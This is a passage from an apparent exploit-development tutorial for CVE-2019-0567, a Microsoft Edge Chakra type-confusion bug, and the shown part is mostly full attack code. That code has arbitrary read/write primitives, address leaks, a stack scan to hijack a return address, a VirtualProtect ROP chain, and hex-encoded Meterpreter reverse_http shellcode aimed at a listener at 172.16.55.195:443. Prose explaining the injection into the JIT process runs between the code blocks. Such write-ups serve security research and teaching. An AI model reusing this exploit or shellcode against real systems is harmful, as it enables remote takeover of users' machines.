	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();
    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */
    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;
	// Counter variable
	let counter = 0x6000;
	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);
	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");
            // Break the loop
            break;
        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}
	// alert() for debugging
	alert("DEBUG");
	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

As we can clearly, see, we use our write primitive to write 1 QWORD at a time our shellcode (this is why we have countMe+=0x8;. Let’s run our exploit, the same way we have been doing. When we run this exploit, an alert dialogue should occur just before the stack address is overwritten. When the alert dialogue occurs, we can debug the content process (we have already seen how to find this process via Process Hacker, so I won’t continually repeat this).

After our exploit has ran, we can then examine where our shellcode should have been written to: chakra_base + 0x74b000.

If we cross reference the disassembly here with the Metasploit Framework we can see that Metasploit staged-payloads will use the following stub to start execution.

As we can see, our injected shellcode and the Meterpreter shellcode both start with cld instruction to flush any flags and a stack alignment routine which ensure the stack is 10-byte aligned (Windows __fastcall requires this). We can now safely assume our shellcode was written properly to the .data section of chakra.dll within the content process.

Now that we have our payload, which we will execute at the end of our exploit, we can begin the exploitation process by starting with our “final” ROP chain.

VirtualProtect ROP Chain

Let me caveat this section by saying this ROP chain we are about to develop will not be executed until the end of our exploit. However, it will be a moving part of our exploit going forward so we will go ahead and “knock it out now”.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);
    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];
    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];
    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");
    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);
    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])
    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);
    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);
    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");
    // Counter
    let countMe = 0;
    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }
    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();
	// Store where our ROP chain begins
	ropBegin = countMe;
	// Increment countMe (which is the variable used to write 1 QWORD at a time) by 0x50 bytes to give us some breathing room between our shellcode and ROP chain
	countMe += 0x50;
	// VirtualProtect() ROP chain (will be called in the JIT process)
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x72E128, chakraHigh);         // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x74e030, chakraHigh);         // PDWORD lpflOldProtect (any writable address -> Eventually placed in R9)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0xf6270, chakraHigh);          // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();
    // Store the current offset within the .data section into a var
    ropoffsetOne = countMe;
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1d2c9, chakraHigh);          // 0x18001d2c9: pop rdx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00001000, 0x00000000);                // SIZE_T dwSize (0x1000)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000040, 0x00000000);                // DWORD flNewProtect (PAGE_EXECUTE_READWRITE)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, kernelbaseLo+0x61700, kernelbaseHigh);  // KERNELBASE!VirtualProtect
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x272beb, chakraHigh);         // 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x118b9, chakraHigh);          // 0x1800118b9: add rsp, 0x18 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
    inc();
    // Store the current offset within the .data section into a var
    ropoffsetTwo = countMe;
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)
    inc();
    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */
    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;
	// Counter variable
	let counter = 0x6000;
	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);
	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");
            // Break the loop
            break;
        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}
	// alert() for debugging
	alert("DEBUG");
	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

Before I explain the reasoning behind the ROP chain, let me say just two things:

  1. Notice that we incremented countMe by 0x50 bytes after we wrote our shellcode. This is to ensure that our ROP chain and shellcode don’t collide and we have a noticeable gap between them, so we can differentiate where the shellcode stops and the ROP chain begins
  2. You can generate ROP gadgets for chakra.dll with the rp++ utility leveraged in the first blog post. Here is the command: rp-win-x64.exe -f C:\Windows\system32\chakra.dll -r 5 > C:\PATH\WHERE\YOU\WANT\TO\STORE\ROP\GADGETS\FILENAME.txt. Again, this is outlined in part two. From here you now will have a list of ROP gadgets from chakra.dll.

Now, let’s explain this ROP chain.

This ROP chain will not be executed anytime soon, nor will it be executed within the content process (where the exploit is being detonated). Instead, this ROP chain and our shellcode will be injected into the JIT process (where ACG is disabled). From there we will hijack execution of the JIT process and force it to execute our ROP chain. The ROP chain (when executed) will:

  1. Setup a call to VirtualProtect and mark our shellcode allocation as RWX
  2. Jump to our shellcode and execute it

Again, this is all done within the JIT process. Another remark on the ROP chain - we can notice a few interesting things, such as the lpAddress parameter. According to the documentation of VirtualProtect this parameter:

The address of the starting page of the region of pages whose access protection attributes are to be changed.

So, based on our exploitation plan, we know that this lpAddress parameter will be the address of our shellcode allocation, once it is injected into the JIT process. However, the dilemma is the fact that at this point in the exploit we have not injected any shellcode into the JIT process (at the time of our ROP chain and shellcode being stored in the content process). Therefore there is no way to fill this parameter with a correct value at the current moment, as we have yet to call VirtualAllocEx to actually inject the shellcode into the JIT process. Because of this, we setup our ROP chain as follows:

(...)truncated(...)
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
inc();

According to the __fastcall calling convention, the lpAddress parameter needs to be stored in the RCX register. However, we can see our ROP chain, as it currently stands, will only pop the value of 0 into RCX. We know, however, that we need the address of our shellcode to be placed here. Let me explain how we will reconcile this (we will step through all of this code when the time comes, but for now I just want to make this clear to the reader as to why our final ROP chain is only partially completed at the current moment).

  1. We will use VirtualAllocEx and WriteProcessMemory to allocate and write our shellcode into the JIT process with our first few ROP chains of our exploit.
  2. VirtualAllocEx will return the address of our shellcode within the JIT process
  3. When VirtualAllocEx returns the address of the remote allocation within the JIT process, we will use a call to WriteProcessMemory to write the actual address of our shellcode in the JIT process (which we now have because we injected it with VirtualAllocEx) into our final ROP chain (which currently is using a “blank placeholder” for lpAddress).

Lastly, we know that our final ROP chain (the one we are storing and updating with the aforesaid steps) not only marks our shellcode as RWX, but it is also responsible for returning into our shellcode. This can be seen in the below snippet of the VirtualProtect ROP chain.

(...)truncated(...)
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)

Again, we are currently using a blank “parameter placeholder” in this case, as our VirtualProtect ROP chain doesn’t know where our shellcode was injected into the JIT process (as it hasn’t happened at this point in the exploitation process). We will be updating this eventually. For now, let me summarize briefly what we are doing:

  1. Storing shellcode + VirtualProtect ROP chain with the .data section of chakra.dll (in the JIT process)
  2. These items will eventually be injected into the JIT process (where ACG is disabled).
  3. We will hijack control-flow execution in the JIT process to force

Read on /type-confusion-part-3/

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.